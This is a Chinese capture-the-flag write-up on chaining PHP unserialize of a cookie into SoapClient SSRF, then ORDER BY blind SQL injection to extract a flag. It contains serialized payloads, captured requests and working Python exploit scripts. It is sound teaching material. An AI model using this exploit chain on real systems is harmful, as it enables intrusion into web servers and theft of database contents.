这是从暨南大学2018校赛的一道CTF题学习到的姿势
适用条件:服务器开了soap服务,允许soap数据的交互,并且有可控的点调用了反序列化,此时可以强行反序列化去调用soapclient类进行SSRF
以题目为例
phpinfo可以看出开了soap,实际渗透测试可以盲测,假设开启,并看到有反序列化特征的参数,可以直接盲测
这道题还给了index.php和sqldebug.php的部分源码
index.php
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(-1);
class Auth {
public $username = '';
public $login = 0;
public function verify() {
return 'FALSE';
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h1>Login</h1>
<form action="" method="POST">
<table>
<tr>
<td>Username</td>
<td><input type="text" name="username"></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td>Remember me <input type="checkbox" name="rememberme"></td>
<td><input type="submit" value="Submit"></td>
</tr>
</table>
</form>
<p>
<?php
if (isset($_POST['username'])) {
$auth = new Auth();
$auth->username = $_POST['username'];
setcookie('auth', base64_encode(serialize($auth)));
} elseif (isset($_COOKIE['auth'])) {
$auth = unserialize(base64_decode($_COOKIE['auth']));
}
if (isset($auth)) {
echo $auth->verify();
}
?>
</p>
</body>
</html>
sqldebug.php
<?php
include_once('db.php');
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
die('you need to be 127.0.0.1');
}
$uid = isset($_GET['uid']) ? $_GET['uid'] : 1;
if (preg_match('/information_schema|database|sleep|benchmark|select(\/\*|[\(`\x00-\x20])/i', $uid)) {
die('NONONO!');
}
$db = mysqli_connect('127.0.0.1', 'demo', MYSQL_PASSWORD, DB_NAME);
$sql = "SELECT * FROM `".TABLE_NAME."` WHERE `".COLUMN_ID."`='$uid'";
$result = $db->query($sql);
$result = $result->fetch_assoc();
echo $result[COLUMN_USERNAME];
mysqli_close($db);
?>
从源码可以看到sqldebug过滤不严,可以注入
但是$_SERVER['REMOTE_ADDR'] !== '127.0.0.1'
无法绕过,只能SSRF
又看到index.php中$auth = unserialize(base64_decode($_COOKIE['auth']));
可控
那么我们可以强行调用php中的soapclient类,来进行SSRF
soapclient的调用可以参考文章
https://xz.aliyun.com/t/2148
对soap数据格式的理解可以用参考
https://www.cnblogs.com/JeffreySun/archive/2009/12/14/1623766.html
https://www.anquanke.com/post/id/153065
php关于soapclient的参考文档
http://www.php.net/manual/zh/soapclient.soapclient.php
kali安装soap扩展,kali默认php7
apt-get install php-soap
php -m | grep soap
因为题目环境是php5.6,那就kali安装下php5.6
apt-get install apt-transport-https
curl https://packages.sury.org/php/apt.gpg | apt-key add
echo 'deb https://packages.sury.org/php/ stretch main' > /etc/apt/sources.list.d/deb.sury.org.list
apt-get update
apt-get -y install php5.6 libapache2-mod-php5.6 php5.6-mysql php5.6-curl php5.6-gd php5.6-intl php-pear php-imagick php5.6-imap php5.6-mcrypt php-memcache php5.6-pspell php5.6-recode php5.6-sqlite3 php5.6-tidy php5.6-xmlrpc php5.6-xsl php5.6-mbstring php-gettext
apt-get -y install php5.6-soap
php5.6 -m | grep soap
先弹到自己vps,看看soapclient类是否能正常调用
soap.php
<?php
// $location = "http://127.0.0.1:80/sqldebug.php";
$location = 'http://178.128.15.64:2333/';
$a = new SoapClient(null, array('location' => $location ,'uri' => '123'));
echo serialize($a);
echo "\n";
echo "\n";
$auth= base64_encode(serialize($a));
echo $auth;
echo "\n";
echo "\n";
?>
运行soap.php
$ php5.6 soap.php
O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:26:"http://178.128.15.64:2333/";s:13:"_soap_version";i:1;}
TzoxMDoiU29hcENsaWVudCI6Mzp7czozOiJ1cmkiO3M6MzoiMTIzIjtzOjg6ImxvY2F0aW9uIjtzOjI2OiJodHRwOi8vMTc4LjEyOC4xNS42NDoyMzMzLyI7czoxMzoiX3NvYXBfdmVyc2lvbiI7aToxO30=
burp的post报文
POST /index.php HTTP/1.1
Host: 35.221.144.41:8084
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://35.221.144.41:8084/index.php
Cookie: auth=TzoxMDoiU29hcENsaWVudCI6Mzp7czozOiJ1cmkiO3M6MzoiMTIzIjtzOjg6ImxvY2F0aW9uIjtzOjI2OiJodHRwOi8vMTc4LjEyOC4xNS42NDoyMzMzLyI7czoxMzoiX3NvYXBfdmVyc2lvbiI7aToxO30%3D
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
vps收到的报文
root@ubuntu16:~# nc -lvvv 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from [35.221.144.41] port 2333 [tcp/*] accepted (family 2, sport 38292)
POST / HTTP/1.1
Host: 178.128.15.64:2333
Connection: Keep-Alive
User-Agent: PHP-SOAP/5.6.37
Content-Type: text/xml; charset=utf-8
SOAPAction: "123#verify"
Content-Length: 369
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="123" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:verify/></SOAP-ENV:Body></SOAP-ENV:Envelope>
soapclient类成功被调用,成功访问到vps,然后会因为soapclient类没有verify()方法而导致报错,会默认调用call方法,但是已经不影响我们调用soapclient来进行SSRF
这里可惜的点是,soapclient默认是用post,然后在xml中以xml格式来传递post参数,但是我们在SSRF的时候,除非知道服务器wsdl的模板位置以及模板内容,才可以去构造post参数,不然一般只能在$location处对GET参数进行注入等攻击
$location = "http://127.0.0.1:80/sqldebug.php?uid=1'%23
注意这里的端口是80,而不是8084,因为是docker映射的
注入部分就不细讲了,直接给出脚本
先判断列数,如果union select的列数不对,index.php请求就会Internal Server Error
columns.py
#!/usr/bin/env python3
import requests
import base64
from urllib.parse import quote
url = "http://35.221.144.41:8084/index.php"
tpl = ["1"]
while True:
done = False
ssrfurl = "http://127.0.0.1/sqldebug.php?uid=1'and+0+union+select@a:=" + ','.join(
tpl) + "%23"
serial = 'O:10:"SoapClient":3:{s:3:"uri";s:3:"abc";s:8:"location";s:' + str(
len(ssrfurl)) + ':"' + ssrfurl + '";s:13:"_soap_version";i:1;}'
auth = quote(base64.b64encode(serial.encode()))
resp = requests.get(url, cookies={'auth': auth})
print(len(tpl))
if 'Internal Server Error' not in resp.text:
# print(resp.text)
break
tpl += ["1"]
一共有5列
注入得到flag,exp.py
#!/usr/bin/env python3
import requests
import binascii
import base64
from urllib.parse import quote
import sys
url = "http://35.221.144.41:8084/index.php"
for pos in [0, 2, 3, 4]:
tpl = ['0', "'<aaa></aaa>'", '0', '0', '0']
r = []
done = False
while not done and len(r) <= 40:
for c in range(0x19, 0x7F):
hexstr = bytes(r + [c])
tpl[pos] = '0x' + binascii.hexlify(hexstr).decode()
ssrfurl = "http://127.0.0.1/sqldebug.php?uid=" + sys.argv[1] + "'union+select@a:=" + ','.join(
tpl) + "+order+by+" + str(pos + 1) + "%23"
# print(ssrfurl)
serial = 'O:10:"SoapClient":3:{s:3:"uri";s:3:"abc";s:8:"location";s:' + str(
len(ssrfurl)) + ':"' + ssrfurl + '";s:13:"_soap_version";i:1;}'
auth = quote(base64.b64encode(serial.encode()))
resp = requests.get(url, cookies={'auth': auth})
if 'got no XML document' in resp.text:
if 0x19 == c:
done = True
else:
r += [c - 1]
break
print(pos+1, bytes(r))
通过测试,uid=2对应的几个列分别是
COLUMN_ID = '2'(第1列)
COLUMN_xxx = ''(第2列,为空)
COLUMN_xxx = '99' (第3列)
COLUMN_PASSWORD = 'FLAG{UN10N_S313CT_0RD3R_13Y}'(第4列)
COLUMN_USERNAME = 'ADMIN@DEMO.COM'(第5列)
order by 注入的原理可以看我这篇文章
https://www.jianshu.com/p/83d07d5c3af8
大致原理是select出一个字符串,再去order by 一个字段
由于后端只会显示第一列,所以数据库会按照这两个字符串的大小来排序
至于排序的规则是从左到右逐位比较ascii码的大小,所以可以从左到右逐位遍历,最终得到该字段的值
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x2f,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x30,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x31,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x32,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x33,'<aaa></aaa>',0,0,0+order+by+1%23
1 b'2'
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3937,0,0+order+by+3%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3938,0,0+order+by+3%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3939,0,0+order+by+3%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x393a,0,0+order+by+3%23
3 b'99'
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304c,0+order+by+4%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304d,0+order+by+4%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304e,0+order+by+4%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304f,0+order+by+4%23
4 b'FLAG{UN10N'
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444b+order+by+5%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444c+order+by+5%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444d+order+by+5%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444e+order+by+5%23
5 b'ADM'
最后深大信安协会的师弟师妹们,给暨大友情测试了一波,tql
欢迎外校的师傅们多交流~